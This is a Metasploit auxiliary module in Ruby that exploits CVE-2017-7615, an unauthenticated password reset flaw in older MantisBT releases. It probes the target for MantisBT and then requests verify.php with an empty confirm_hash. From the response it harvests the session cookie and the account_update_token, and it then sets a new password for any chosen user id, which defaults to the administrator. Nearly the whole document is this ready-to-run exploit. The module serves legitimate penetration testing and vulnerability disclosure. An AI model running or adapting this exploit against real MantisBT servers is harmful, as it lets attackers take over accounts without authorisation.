MantisBT Password Reset

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'MantisBT password reset',  
'Description' => %q{  
MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'John (hyp3rlinx) Page', # initial discovery  
'Julien (jvoisin) Voisin' # metasploit module  
],  
'References' => [  
['CVE', '2017-7615'],  
['EDB', '41890'],  
['URL', 'https://mantisbt.org/bugs/view.php?id=22690'],  
['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt']  
],  
'Platform' => ['win', 'linux'],  
'DisclosureDate' => '2017-04-16'  
)  
)  
  
register_options(  
[  
OptString.new('USERID', [ true, 'User id to reset', 1]),  
OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']),  
OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/'])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/login_page.php'),  
'method' => 'GET'  
})  
  
if res && res.body && res.body.include?('Powered by <a href="http://www.mantisbt.org" title="bug tracking software">MantisBT')  
vprint_status('MantisBT detected')  
return Exploit::CheckCode::Detected  
else  
vprint_status('Not a MantisBT Instance!')  
return Exploit::CheckCode::Safe  
end  
rescue Rex::ConnectionRefused  
print_error('Connection refused by server.')  
return Exploit::CheckCode::Safe  
end  
  
def run  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/verify.php'),  
'method' => 'GET',  
'vars_get' => {  
'id' => datastore['USERID'],  
'confirm_hash' => ''  
}  
})  
  
if !res || !res.body  
fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.')  
end  
  
cookie = res.get_cookies  
  
if cookie == '' || !(res.body.include? 'Your account information has been verified.')  
fail_with(Failure::NoAccess, 'Authentication failed')  
end  
  
if datastore['PASSWORD'].blank?  
password = Rex::Text.rand_text_alpha(8)  
else  
password = datastore['PASSWORD']  
end  
  
if res.body =~ /<input type="hidden" name="account_update_token" value="([a-zA-Z0-9_-]+)"/  
token = ::Regexp.last_match(1)  
else  
fail_with(Failure::UnexpectedReply, 'Could not retrieve account_update_token')  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, '/account_update.php'),  
'method' => 'POST',  
'vars_post' => {  
'verify_user_id' => datastore['USERID'],  
'account_update_token' => ::Regexp.last_match(1),  
'realname' => Rex::Text.rand_text_alpha(rand(8..12)),  
'password' => password,  
'password_confirm' => password  
},  
'cookie' => cookie  
})  
  
if res && res.body && res.body.include?('Password successfully updated')  
print_good("Password successfully changed to '#{password}'.")  
else  
fail_with(Failure::UnexpectedReply, 'Something went wrong, the password was not changed.')  
end  
end  
end  
`